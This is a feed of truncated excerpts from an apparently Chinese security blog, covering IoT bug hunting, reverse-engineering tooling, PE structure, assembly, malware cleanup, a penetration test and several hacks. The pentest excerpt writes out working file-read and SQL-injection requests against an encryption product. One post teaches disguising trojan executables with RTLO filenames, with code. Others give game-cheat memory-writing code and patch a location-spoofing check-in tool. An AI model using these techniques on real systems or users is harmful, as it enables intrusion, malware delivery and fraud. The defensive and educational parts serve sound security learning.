WELCOME TO VOXSHADOW BLOG ` - 技术分享
type: channel
link: https://www.52tt.pro/index.php/category/Techshare/
description: 技术分享
items: 【技术分享】IoT 安全 白盒视角下的漏洞挖掘
items: 【技术分享】IDA+Jadx+Trae MCP 配置教程
items: 【技术分享】PE文件结构分析 ( RVA转FOA )
items: 【技术分享】CK竞技之王游戏辅助制作
items: 【技术分享】NASM x86 Assembly Language
items: 【技术分享】Linux SkidMap 挖矿病毒处置
items: 【技术分享】记一次内外网牛马渗透测试
items: 【技术分享】RTLO 伪装程序后缀名
items: 【技术分享】工学云定位打卡工具 ( 去版本失效 )
items: 【技术分享】Python3 图片转文字服务

【技术分享】IoT 安全 白盒视角下的漏洞挖掘
type: item
date: 2026-04-11T14:09:00+08:00
description: 留言记录一次 "低门槛" 路由器漏洞挖掘，流程简单清晰，就像在漏洞靶场里通关一样。本来不太想写，毕竟难度很低、含金量一般，水了几张证书，随手记录一下吧。浅谈 IoT 漏洞挖掘市面上家用路由器、智能摄像头、智能家居、工业小型设备基本都属于 IoT 物联网设备，这类设备普遍开发成本低、安全意识薄弱，代码写得比较随意，防护机制简陋，是漏洞高发重灾区。不同于互联网网站漏洞，IoT 挖洞大多围绕固件分析、二进制逆向、接口测试、设备仿真展开，门槛有高有低。入门玩法不用精通高深逆向，靠着固件解包、抓接口测试、简单 Fuzz 就能挖出大量未授权、命令执行、硬编码密码这类实用漏洞，上手快、出洞效率高，很适合新手练手攒成果。而且绝大多数老旧 IoT 设备几乎没有任何内存保护、权限校验形同虚设，很容易挖到栈溢出、权限绕过这类经典漏洞。日常挖掘既能熟悉嵌入式设备运行逻辑，也能轻松提交漏洞平台拿证书，当作技术积累再合适不过。寻找目标挖漏洞不难，难在找目标、搞到源码，前期核心都是信息收集。在开始分析之前，必须先确定目标，以下是推荐的搜集方式：1.在购物平台找网络设备，比如：路由器、摄像头，然后看品牌是哪个公司的。2.在 Github 上找资源搜 Iot 相关的资料或者项目，这是我比较推荐的一个项目 IoTFirmwareAnalysisGuide，记录了一些厂商链接跟相关技术文档。{abtn icon="fa-github" color="#000" href="https://github.com/SecureNexusLab/IoTFirmwareAnalysisGuide" radius="" content="IoTFirmwareAnalysisGuide"/} 3.看 CVE、CNVD、NCC 等漏洞库，搜 路由器、IoT、固件 关键词，找已公开漏洞的型号或公司。固件提取找到目标后，一般官网上都有路由器升级固件，如果没有就找台设备 升级固件 然后抓包下载。当然还有其他办法，可以看推荐的那个 IoTFirmwareAnalysisGuide 项目里有写。基本流程：下载固件 → binwalk 解包 → 逆向分析 → 定位漏洞 → 本地验证 → 互联网实测 → 提交报告 → 漏洞闭环。部分固件会加密，无法直接解包，可通过旧版固件逆向解密算法。或从设备中 dump 密钥与明文固件，也能在 GitHub 找解密脚本。binwalk -Me 固件文件 --run-as=root再提供个在线固件解包网站。{abtn icon="fa-bandcamp" color="#000" href="https://zhiwanyuzhou.com/multiple_analyse/firmware/" radius="" content="在线固件解包"/}固件加密怎么判断一个固件是否加密呢？binwalk -E 固件文件 --run-as=root这里用 腾达AX 系列路由器举例，binwalk -E 跑一下固件，熵值全程快接近 1.0，那这固件就是加密或者强压缩，直接解包肯定解不开。固件实在解不了密，不一定非要做白盒审计，黑盒测也完全够用。直接用万能的 Fuzz 对着接口一顿乱塞数据，也能挖出漏洞。互联网资产一般解包后，我做的第一件事，是先确定指纹，很简单解包里会有前端代码，我一般就搜 .html、.icon、.png 直接上传 Fofa 找 icon 图标的 hash，或者 body、title 关键字。有的设备在互联网压根就没资产，就纯内网使用，如果说想挖 CNVD/CNNVD/NCC 拿证书的话。找不到资产那就以漏洞情报的方式提交，不用找资产，只要本地复现 + 完整技术证明 审核通过就发证书。固件仿真我比较推荐使用 qemu、emux 这类工具。{abtn icon="fa-github" color="#000" href="https://github.com/therealsaumil/emux" radius="" content="EMUX"/} 目前能完整仿真起来的设备并不算多，完整固件仿真难度普遍较高，或者买个路由器挖（滑稽）很多情况下还需要修改程序逻辑、打补丁才能正常运行。最推荐方式：qemu 单个程序测试（这也是常见的IoT漏洞挖掘方式）EMUX 完整运行先把 EMUX 项目下载到本地，比较推荐用 Kali Linux 安装前需要确认 docker 是否能正常运行。git clone --depth 1 --single-branch https://github.com/therealsaumil/emux.git如果下载慢，可以自己挂代理，到 Github 上下载项目源码，然后解压执行以下命令。cd emux ./build-em…

【技术分享】IDA+Jadx+Trae MCP 配置教程
type: item
date: 2026-02-24T17:31:00+08:00
description: 简介做逆向分析的时候，大家肯定都有这种体验：在 IDA Pro、Jadx 之间来回切，手动复制内存地址、对着代码逐行比对，不仅慢得让人着急，还特别容易出错。而 MCP（Model Context Protocol，模型上下文协议）就是来解决这个问题的！它能把 IDA Pro、Jadx 和 Trae AI 完美连起来，实现工具间的数据互通、操作联动。今天这篇教程就手把手教你配置这套环境，让你告别工具割裂的麻烦，用 AI 一站式搞定逆向分析。一、环境准备为了避免版本不兼容踩坑，建议大家直接照着下面的环境来搭，亲测稳定不翻车：操作系统：Windows 11版本控制：Git运行环境：Python 3.11.8（重点！别用其他版本）逆向工具：IDA Pro 8.3AI 客户端：Trae AI二、Git 安装Git 是安装 ida-pro-mcp 的必需品，主要用来从 GitHub 拉取插件源码，步骤超简单：1.打开浏览器，访问 Git 官网下载 Windows 版本：https://git-scm.com/install/windows2.双击安装包，一路点“下一步”，默认配置完全够用，不用折腾3.安装完成后，按 Win+R 输入 cmd 打开命令行，敲入 git --version，如果能显示版本号，就说明装好了{abtn icon="fa-git-square" color="#000" href="https://git-scm.com/install/windows" radius="" content="Git 官网"/}三、Trae 联动 IDA Proida-pro-mcp 是连接 IDA Pro 和 MCP 协议的核心，有了它，Trae AI 才能直接调用 IDA 的分析能力，我们一步步来：步骤 1：安装 ida-pro-mcp首先右键点击“命令提示符”，选择“以管理员身份运行”（权限不够会装失败），然后复制下面的命令敲进去：pip install --upgrade git+https://github.com/mrexodia/ida-pro-mcp这里提个醒：如果碰到网络超时、连接重置的情况，就是访问 GitHub 受限了。直接去仓库地址（https://github.com/mrexodia/ida-pro-mcp）下载 ZIP 包，解压后进入解压目录，执行 pip install . 就能本地安装了。步骤 2：安装 IDA 插件插件装完后，不用手动拷贝文件，在刚才的管理员命令行里继续敲：ida-pro-mcp.exe --install执行成功后，插件会自动放到 IDA Pro 的插件目录里，以后打开 IDA，MCP 服务就会自动加载，特别省心。步骤 3：Trae AI MCP 配置打开 Trae AI，找到 MCP 服务器的配置页面，把下面的 JSON 代码完整复制进去就行：四、联动使用流程1.如果是使用工具包，第一次运行 IDA 需要以管理员身份运行一次 IDA_Pro_8.3_绿化工具.exe 初始化下 IDA。2.然后去 IDA 安装目录里找 idapyswitch.exe 并运行，把 Python 版本切换到 3.11.8，这样 IDA 才能正常加载 MCP 插件。3.先打开 IDA Pro，加载你要分析的程序（比如 CrackMe），等底部状态栏显示“Ready”，就说明反汇编完成了。然后点击顶部的「Edit」→「Plugins」→「MCP」，开启 MCP 服务，这时 IDA 就会在 13337 端口等着 Trae 连接了。4.切回 Trae AI，在 MCP 配置页面确认一下之前的配置没错，完成连接设置。5.把执行 ida-pro-mcp --config 命令得到的配置信息，手动填到 Trae AI 的 MCP 配置里，确保参数都对得上。MCP 配置{ "mcpServers": { "ida-pro-mcp": { "command": "C:\\Program Files\\Python311\\python.exe", "args": [ "C:\\Program Files\\Python311\\Lib\\site-packages\\ida_pro_mcp\\server.py", "--ida-rpc", "http://127.0.0.1:13337" ] } } }简单说下配置里的关键点，别配错了：command：填你安装 Python 3.11.8 的路径，必须和装插件时的 Python 一致args：固定写法，不用改，作用是启动 MCP 服务端，连接 IDA 的 13337 端口保存之后，Trae AI 就会自动尝试连接 IDA 的 MCP 服务了6.在 Trae AI 里…

【技术分享】PE文件结构分析 ( RVA转FOA )
type: item
date: 2024-11-21T08:30:00+08:00
description: 简介在了解PE结构之前，先简要回顾下可执行文件的概念。可执行文件是可以被操作系统加载并运行的文件。Windows与Linux的可执行文件格式：Windows平台的可执行文件格式是 PE（Portable Executable） 文件结构。Linux平台的可执行文件格式是 ELF（Executable and Linking Format） 文件结构。命名含义PE 的全称是 Portable Executable，意为“便携的可执行文件”。ELF 的全称是 Executable and Linking Format，意为“可执行和链接格式”。差异点PE文件结构 是跨版本兼容的。例如，Windows 7上的可执行文件可以在Windows 8、Windows 10等版本中正常运行。ELF文件结构 则依赖于内核版本，使用不同内核编译的程序无法在不兼容的环境中运行。应用场景PE文件结构在以下领域具有重要意义：病毒和反病毒技术：病毒感染机制和杀毒软件的检测都需要深入理解PE结构。外挂与反外挂：外挂注入与反外挂保护的关键技术点通常基于PE文件操作。加壳与脱壳：保护软件代码的壳技术，以及针对壳保护的破解技术都依赖于对PE结构的掌握。逆向与修改：在没有源码的情况下对程序功能进行修改、汉化或调试也需要了解PE文件的内部结构。PE结构表PE文件结构.pdfPE结构分析DOS_HANDER32位操作系统，每个进程的虚拟地址空间只能访问4GB的内存，其中2GB是在用户空间，另外2GB是在内核空间，对于64位操作系统，每个进程的虚拟地址空间可以访问更大的内存，一般将用户空间分配给进程可用的全部内存，而内核空间仍然是2GB。(题外话)用16进制编辑器打开程序，一行16进制有16个字节，而DOS_HANDER是给16位计算机用的，到现在的32位和64位程序依然保留了这个数据结构，详细参数可参考以上的PE结构表，在 DOS_HANDER 唯一重要的两个参数是 e_magic 和 e_lfanew，一个是标记用来判断是否是可执行程序，第二个是用来定位PE头位置的，其余的参数都可以用 00，nop 填充因为用不到。DOS_SUBDOS_SUB是在DOS_HANDER和PE标准头的中间这一块，这里面的数据也可以00，nop填充掉当然也可以插入自己的数据，如恶意代码。PE_HANDER以上 DOS_HANDER 中的 e_lfanew 参数是存储的是 08 01 在PE结构中存在大小端，要反着来 08 01 反过来是 0108 也就是 108 对应的文件偏移定位到 50 48 00 00 这里就是PE头了，PE标识占 4 个字节，而标准PE头占 20 个字节，可以参考以上PE表，第一个参数是 Machine 这个参数可以区分程序是多少位的，可以看到是 4C 01 反过来是 014c 也就是 14c 那么是 32位程序了，64位程序就是 8664。PE扩展头65 C8 05 00 反过来 0005c865，就是这个 AddressOfEntryPoint 程序入口地址，ImageBase 是 00 00 40 00 反过来就是 00400000，剩下的结构可以参考PE结构表。PE地址转换介绍FOV (File Offset Value)：文件偏移量值，指的是 PE 文件中某个数据在文件中的偏移地址。RVA (Relative Virtual Address)：相对虚拟地址，指的是 PE 文件中某个数据在内存中的地址与该模块基地址之间的相对距离。VA (Virtual Address)：虚拟地址，指的是 PE 文件中某个数据在内存中的绝对地址。FOV文件偏移计算FOV = RVA - Virtual Offset + Raw Offset在Windows可执行文件中，RVA（Relative Virtual Address）是一个虚拟地址相对于程序映像基址的偏移量，程序映像基址是可执行文件在内存中加载时分配的基地址，通常是0x400000或0x10000000，有了FOV偏移就能够定位，在PE文件中代码的位置，直接修改二进制文件实现程序逻辑的修改。好，我们先来找一下 AddressOfEntryPoint 程序入口，运行后机器码的位置。通过studyPE+这个工具，可以对程序的PE结构进行展示，这里的 0001500 就是RVA。然后就是区段了，Virtual Address 是用来描述PE文件中数据段在程序运行时被加载到内存中的虚拟地址，而 Raw Address 是用来数据段在PE文件中的物理地址或字节偏移量。通过上面的东西进行公式计算，就能得到二进制文件的FOV偏移，与动态调试的入口地址机器码所对应。VA虚拟地址计算VA（Virtual Address，虚拟地址）是…

【技术分享】CK竞技之王游戏辅助制作
type: item
date: 2024-11-20T09:58:00+08:00
description: 简介以下教程是自我总结出的，我会很详细的进行编写，配详细的步骤和视频教程，本文章用到的工具会有 Cheat engine、x64dbg，本文章只用C语言编写代码，用单机游戏 CK竞技之王 进行辅助的制作，该游戏是CS进行魔改仿穿越火线，在此声明并不是穿越火线游戏，做这个教程目的只有一个让你们明白它的原理和搜法，在游戏中不管是网络游戏还是单机游戏，他们的共同点都是一样的，能够被本地修改达到开挂的目的（在此声明只是作为学习交流）。基本了解游戏它是程序，因为运行程序就会创建进程，通过进程就可以访问程序中的内存地址，通过地址可以访问到存储的数据，举个简单的例子：比如游戏开发者创建了个变量 float speed = 2.5; 来定义人物速度，那么就会在内存中开辟一个空间，然后会有一个内存地址像 0x12345 这样的（只是打比方），我们可以通过这个地址来访问到里面的数据（知道C语言指针的就很好理解），也就是 2.5，通过微软给的系统 API 接口 kernel32.dll 里的 ReadProcessMemory 函数就能办到，然后就是写内存数值了，可以通过 WriteProcessMemory 函数，要用到的API函数我都会写在下面的。取窗口句柄HWND FindWindow( LPCTSTR lpClassName, LPCTSTR lpWindowName );取窗口句柄因为 ReadProcessMemory，第一个参数 hProcess 要的是进程句柄（注意了 FindWindow 取的是窗口句柄而不是进程句柄哦）。取进程线程DWORD GetWindowThreadProcessId( HWND hWnd, LPDWORD lpdwProcessId );通过 GetWindowThreadProcessId，来获取进程 PID 当然你直接获取进程 PID 就省去了找窗口。取进程句柄HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId );通过 OpenProcess，打开进程来取进程句柄，这样就拿到进程句柄了。读内存数据BOOL ReadProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead );通过 ReadProcessMemory 来读进程内存数据。写内存数据BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );通过 WriteProcessMemory 来写进程内存数据，以上是简单介绍让大家有个基本了解（注意以上只能对 32 程序进程操作）。32位、64位内存读写内核级进程内存读NTSTATUS ZwWow64ReadVirtualMemory64( HANDLE Process, PVOID64 BaseAddress, PVOID Buffer, ULONG64 BufferSize, PULONG64 NumberOfBytesRead );内核级进程内存写NTSTATUS ZwWow64WriteVirtualMemory64( HANDLE Process, PVOID64 BaseAddress, PVOID Buffer, ULONG64 BufferSize, PULONG64 NumberOfBytesWritten );内核级别的进程内存读写，可以用在32和64位程序上，微软不公开的但是可以用，这两个函数不属于动态链接库，感兴趣的可以自己去研究。完整代码（读写子弹数量）// 读写内存简单例子： #include <Windows.h> // 包含头文件 Windows.h #include <stdio.h> int main() { DWORD processid; // 保存进程PID HANDLE hProcess; // 保存进程句柄 HWND hwnd = FindWindow("Valve001", NULL); // 取窗口句柄 GetWindowThreadProcessId(hwnd, &processid); // 取进程PID hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processid); // 取进程句柄 if (hProcess =…

【技术分享】NASM x86 Assembly Language
type: item
date: 2024-09-30T20:47:00+08:00
description: 留言复习x86汇编基础，首先为什么要学习汇编语言呢？在二进制程序逆向中是必不可少的，在二进制程序在没有源代码的情况下，只能进行反汇编逆向分析程序的执行流程。所谓 "学而不思则罔，思而不学则殆"，只有真正的理解了是如何运作的，才能更好的进行后面的分析。本教程使用 intel 语法来进行编写，编译器使用的是开源的 NASM，就你叫x86汇编呀，直接干就完了！简介本文章会简单的讲解下Windows下的x86汇编，内容比较简短都是示例，x86汇编语言编程也很混乱。因为有很多不同的汇编器：MASM、NASM、gas、as86、TASM、a86、Terse 等，导致语法都不相同。出于对 汇编语言发展 的兴趣，本教程不是为了教你汇编，让你大概学习下x86汇编基础语法方便为后期逆向做准备。当然感兴趣的可以自己研究，这里推荐几个好的教程网站: Linux 汇编语言教程Putting the "You" in CPU汇编器与链接器不管使用哪种汇编器、目标文件格式、链接器或操作系统，编程过程始终是相同的。Nasm 编译器安装Nasm win64 下载 - | - MinGW 下载 首先需要下载编译环境，Nasm 与 MinGW 下载好后解压出来，配置好环境变量方便终端进行调用。这里我推荐几个链接器：ld、alink、golink、gcc 各有秋色，我会演示他们的用法，前三者打包都是程序最小的状态，而 gcc 会使程序大小变大，因为它加了一些东西。NASM 汇编语法输出 Hello, World! - Windowsextern _printf ; 声明外部的 printf 函数 section .data msg db 'Hello, World!', 0 ; 定义字符串常量 section .text global _main ; 设置入口函数为 _main _main: push msg ; 将字符串地址推入栈中，作为参数传递给 printf call _printf ; 调用 printf 函数 add esp, 4 ; 清理栈上的参数 ret ; 函数返回随便创建一个文件，名称.asm 以.asm 后缀结尾，当然后缀什么的都不重要，汇编代码是对的一切都是 ok 的，通过以下代码在 Windows 进行生成再到链接最终生成可执行程序。/* ------ 参数说明 -f win32 指定 32位 生成目标文件 test.o -lmsvcrt 指定链接器需要 C运行库 要用到 printf ------ 编译命令 nasm -f win32 demo.asm -o test.o ld test.o -o test.exe -lmsvcrt */生成完毕后，可以发现程序大小只有 4kb 左右，非常小那是因为用汇编进行编写的，没有其他一些没用的函数打包进去。通过 IDA 打开生成的程序，发现只有 _main 和 _printf 函数，而且代码也是我们写的那一部分。通过 x64dbg 发现，运行直接到 OEP 时就能看到我们写的代码， 程序入口点是 401000 从这里开始到 40100D 结束（自己写的代码范围）。反汇编代码中 push 0x402000 是把内存地址存储的字符串压入到堆栈中，然后通过 call Printf 调用进行输出 Hello, World!。输出 Hello, World! - Linuxsection .data ; 定义一个名为 hello 的字符串，用 db 伪指令来定义 ; db 是 define bytes，用来指定一组字节 hello db 'Hello, World!', 0 ; 字符串用单引号或双引号括起来，末尾要添加一个零终止符 \0 section .text global _start ; 设置入口函数为 _start _start: ; 往标准输出 (stdout) 写入字符串 ; 用系统调用 write mov eax, 4 ; 系统调用号 4 (write) 存储到寄存器 eax mov ebx, 1 ; 描述符 1 (stdout) 存储到寄存器 ebx mov ecx, hello ; 字符串的地址存储到寄存器 ecx mov edx, 13 ; 把字符串的长度（以字节为单位）存储到寄存器 edx int 0x80 ; 系统调用 sys_write ; 退出程序 ; 用系统调用 exit mov eax, 1 ; 系统调用号 1 (exit) 存储到寄存器 eax xor ebx, ebx ; 寄存器 ebx 设置为 0，表示返回值为 0 int 0x80 ; 系统调用 sys_exit/* ------ 参数说明 -f elf32 指定32位生成目标文件main.o -m elf_i386 …

【技术分享】Linux SkidMap 挖矿病毒处置
type: item
date: 2023-12-28T10:00:00+08:00
description: 简介初步处理，待更新...工具分享这里分享个几个应急响应工具， 这里我用 toybox ，来查找恶意程序，再分享一个排查工具 GScan。我把 toybox 这个工具上传到 /usr/bin 文件夹里，方便任意位置调用，它和 busybox 功能一样，那为什么不用 busybox？因为被恶意程序禁用掉了。检查项{collapse}{collapse-item label="排查内容" close}/etc/passwd /var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/* /etc/anacrontab /var/spool/anacron/* /var/log/auth.log /var/log/syslog /var/log/messages /var/log/secure /var/log/audit/audit.log /var/log/boot.log /var/log/kern.log /var/log/httpd/ /var/log/mysql/ /var/log/dmesg /var/log/btmp /var/log/lastlog /var/log/wtmp /var/log/utmp{/collapse-item}{collapse-item label="排查命令" close}# 建议配合busybox或toybox来执行系统命令，避免文件被恶意程序劫持和替换。 top iftop ps -elf | grep <keyword> netstat -anop ss who -m awk -F: '($3==0)' /etc/passwd find / -name <keyword> cat ls{/collapse-item}{/collapse}查找异常tobybox top通过 toybox 定位到可疑进程占用大量CPU，重启后 gettexted 后缀会随机变化，它是挖矿的主程序。它有潜伏期现在是没挖矿状态，但后面跟着一堆可疑程序，通过计算哈希值提交给VT与微步，发现是有问题的。system.pubgettexted.psscn疑似多个命令文件被恶意程序给劫持，通过 ps、ls 发现并不能找到恶意程序，而用toybox来执行却能找到。review通过VT查找可以看到程序的可以行为，并编写了清除恶意程序的 bash 脚本。清除代码1#!/bin/bash processes=("gettexted.*" "postmaped.*" "matchpathcond.*" "postcated.*" "telinited.*" "devlinked.*") for process in "${processes[@]}"; do echo "$process" toybox pkill -f "$process" done # 清理文件 files=( "/etc/init.d/dns-udp4" "/etc/profile.d/gateway.sh" "/.mod" "/etc/.cfg" "/boot/system.pub" "/etc/profile.d/bash.cfg" "/lib/system.mark" "/usr/lib/libgdi.so.0.8.2" "/usr/sbin/netstat.cfg" "/etc/profile.d/bash.cfg.sh" ) cleanup_file() { local file="$1" toybox rm -rf "$file" toybox echo -n > "$file" toybox chmod 000 "$file" chattr +i "$file" } cleanup_files() { local files=("$@") for file in "${files[@]}"; do cleanup_file "$file" done } cleanup_files "${files[@]}" # 系统加固 toybox echo 32768 > /proc/sys/kernel/pid_max toybox echo 0 > /proc/sys/kernel/ns_last_pid toybox rm -rf /usr/bin/review toybox rm -rf /usr/bin/gettexted* toybox rm -rf /usr/bin/biosdecoded* toybox rm -rf /usr/bin/devlinked* …

【技术分享】记一次内外网牛马渗透测试
type: item
date: 2023-11-21T14:03:00+08:00
description: Web渗透（外网）垂直越权可以发现前端登录存在两种模式，管理员与用户还有注册用户，这个时候我们可以先注册用户进去看看是什么样子的。这是我注册的普通用户，里面没有管理员权限的功能。这里我随便输入了一个错误的管理员账号密码，我的思路是先抓取我注册的用户，登录成功的响应包再进行替换错误的管理员返回的响应包，直接放行就能登录进去。这个是我注册的用户登录成功的响应包，这里进行复制保留，然后再登录错误的管理员账户，将我登录成功的响应数据替换到管理员响应包里即可。这样就进来了，在后台查询用户接口中其实还存在sql注入。SQL注入可以发现重发修改 sort=' 的时候直接爆出sql语句错误，说明这个参数存在sql注入。直接上sqlmap一把梭。未授权访问前端接口暴露，存在未经授权，可获取到大量个人敏感信息，包括个人姓名、手机号地址等等。访问将设置登录状态，http://xxx.xxx.xxx/permission/loginByOutside 再访问主页就登录成功了。亿赛通系统打一波ndayViewUploadFile任意文件读取GET /CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C:/Windows/System32/drivers/etc/hosts&uploadFileId=1&fileName1=hosts HTTP/1.1 Host: xxx.xxx.xxx Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=5BEE0014C9CD691F3177A3194EB06C3F Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflatecreate SmartSec信息泄露https://xxx.xxx.xxx/CDGServer3/SQL/MYSQL/create_SmartSec_mysql.sqlUploadFileToCatalog SQL注入POST /CDGServer3/js/../policy/UploadFileToCatalog?fromurl=../user/dataSearch.jsp HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded ​ id=1FileFormatAjax SQL注入POST /CDGServer3/PerOrgServlet/../FileFormatAjax HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,app…

【技术分享】RTLO 伪装程序后缀名
type: item
date: 2023-08-16T13:33:00+08:00
description: 简介Unicode RTLO（Right-to-Left Override）是Unicode字符编码中的一种特殊字符，字符的作用是改变文本的文字流方向，可以使原本从左向右的文字流变为从右向左，我们可以通过这种办法伪装恶意可执行程序，这种办法会有小小的弊端自己发现吧。后缀伪装首先把文件扩展给勾上，方便我们看文件后缀，这里我做了个简单的 exe 程序做演示（可以是木马程序）。然后我们对程序 重命名，注意光标的位置是在 .exe 的前面，这个时候我们就可以插入特殊字符了。我们输入 gnp 也就是 png 的字母反转，重命名好后就可以了。你就会发现，变成了 png 图片格式了，而且还可以运行，再看看任务管理器，哈哈哈 是不是挺意外的进程中直接跑 png，其实有很多小例子，比如：exe 改 bat，改 dll 都是可以被执行的，在任务管理器中都可以看到的（这里就不过多演示了）。scr // 可以显示软件图标 com // 不能显示软件图标 bat cmd // 不能显示软件图标可以发现在内容中会有 exe 字样，是不是感觉很敏感，不怕不怕，以上是我收集到了一些可执行后缀（推荐 scr）。Go 实现package main import ( "fmt" "os" ) func main() { var oldfile string = "Panda.scr" var newfile string = "Panda\xe2\x80\xaegnp.scr" err := os.Rename(oldfile, newfile) if err != nil { fmt.Println("incorrect file naming.", err) } else { fmt.Println("Successful file renaming!") } }Python 实现import os oldfile = "Panda.scr" newfile = "Panda‮gnp.scr" try: os.rename(oldfile, newfile) print("Successful file renaming!") except OSError as err: print("Incorrect file naming.", err)利用总结1.利用这个办法伪装木马程序，如：pdf，zip，png 等文件后缀。2.利用压缩包自解压执行的功能，配合 RLO 实现压缩包执行伪装。Tips：内嵌一个执行，比如打开伪装的程序，程序运行后木马上线，那么再打开内置的 pdf文档，就不会被怀疑了。

【技术分享】工学云定位打卡工具 ( 去版本失效 )
type: item
date: 2023-07-15T23:52:00+08:00
description: 简介蘑菇钉打卡工具，它是个32位程序是用易语言写的，主要针对学工云实习打卡，之前实习的时候打比赛去了所以免实习了，但这个软件我也用过一下，主要填写账号和密码能够自定义打卡位置定时打卡之类的，看了下原理是利用Web官网的API进行提交自定义位置来欺骗服务器实现的。今天看到群里说失效了，但我觉得是没钱赚关掉了而已，只会弹出个失效窗口然后关闭程序，对普通人来说就是用不了，反正没事给群友做点好事吧。程序分析通过IDA分析发现，有部分是学工云web上的API接口，直接进去看代码的实现逻辑。这里用了官方的登录接口，来获用户取关键返回信息进行下一个打卡API的参数提交。这里是定义的参数，可以发现 lastAddress 这个参数如果猜的不错的话，就是最后位置如果错了就当我没说，主要目的是来去弹出的，说点废话凑点页数而已（哈哈哈）。弹窗去除正常运行的情况下，是进不去的这个软件是完全关闭了，直接用x64dbg去下弹窗吧。。。最简单的办法就是，字符串搜索了在主模块中进行搜索，可以右键选择也可以 shift + d，看到什么字符串就搜什么吧，这里我搜的是 版本失效。0040D36C | 0F84 3E000000| je 0x40D3B0 | 0040D372 | BB 06000000 | mov ebx,6 | 0040D377 | E8 883CFFFF | call 0x401004 | 0040D37C | 68 01030080 | push 80000301 | 0040D381 | 6A 00 | push 0 | 0040D383 | 68 00000000 | push 0 | 0040D388 | 68 04000080 | push 80000004 | 0040D38D | 6A 00 | push 0 | 0040D38F | 68 9D044D00 | push 0x4D049D | 4D049D:"版本已失效，请进通知群687082138更新" 0040D394 | 68 04000000 | push 4 | 0040D399 | BB 40934100 | mov ebx, 0x419340 | 0040D39E | E8 859E0000 | call 0x417228 | 0040D3A3 | 83C4 34 | add esp,34 | 0040D3A6 | 6A 00 | push 0 | 0040D3A8 | E8 9F9E0000 | call 0x41724C | 0040D3AD | 83C4 04 | add esp,4 |找到 je 改成 jne 就不跳转到弹窗代码上了，也就正常运行软件了。好啦然后打个补丁，软件就可以出院啦，经过测试是可以正常打卡的，我的猜测是正确的。。。{cloud title="蘑菇钉打卡工具（去版本失效 ）" type="default" url="https://www.52tt.pro/usr/uploads/2023/07/35926594.zip" password=""/}

【技术分享】Python3 图片转文字服务
type: item
date: 2023-06-05T17:27:00+08:00
description: 简介闲的无聊，写了一个基于 easyocr 图片转文字，用到了异步和websocket进行传输，图片是用base64编码后进行上传一次性识别图片文字并返回结果给请求端，在上传过程中图片不会保存到服务器上，这样也就避免了文件上传的安全性，同样在后端也做了一些安全限制，至于更安全些可以采用其它的方式比如验证等等。后端服务代码import easyocr import base64 import hashlib import redis import asyncio import websockets import json max_size = 10 * 1024 * 1024 valid_formats = [ 'data:image/png;base64', 'data:image/jpg;base64' ] reader = easyocr.Reader(['ch_sim', 'en'], gpu=True) cache = redis.StrictRedis( host='127.0.0.1', port=6379, password='@D208522', ) async def ocr(websocket): async for message in websocket: try: if isinstance(message, str): message = json.loads(message) image_data = message.get('image') if not image_data or not any(image_data.startswith(fmt) for fmt in valid_formats): await websocket.send(json.dumps({'error': 'Invalid image format.'})) continue _, image_data = image_data.split(',', 1) image_bytes = base64.b64decode(image_data) if len(image_bytes) > max_size: await websocket.send(json.dumps({'error': 'Image too big.'})) continue cache_key = hashlib.md5(image_bytes).hexdigest() text = cache.get(cache_key) if text: await websocket.send(json.dumps({'status': 200, 'text': text.decode('utf-8')})) continue results = reader.readtext(image_bytes) text = '\n'.join([result[1] for result in results]) cache.set(cache_key, text, ex=3600) await websocket.send(json.dumps({'status': 200, 'text': text})) except Exception as e: print(e) await websocket.send(json.dumps({'status': 500, 'text': 'Unknown error.'})) async def start_server(host: str): async with websockets.serve(ocr, *host, max_size=max_size): await asyncio.Future() if __name__ == '__main__': host = ("127.0.0.1", 5000) asyncio.run(start_server(host))接口请求代码import asyncio import websockets import base64 import json async def send_image(): async with websockets.connect('ws://127.0.0.1:5000/') as websocket: with open('E:\\Desktop\\1.png', 'rb') as f: image_data = f.read() image_base64 = base64.b64encode(image_data).decode('utf-8') message = {'image': 'data:image/png;base64,' …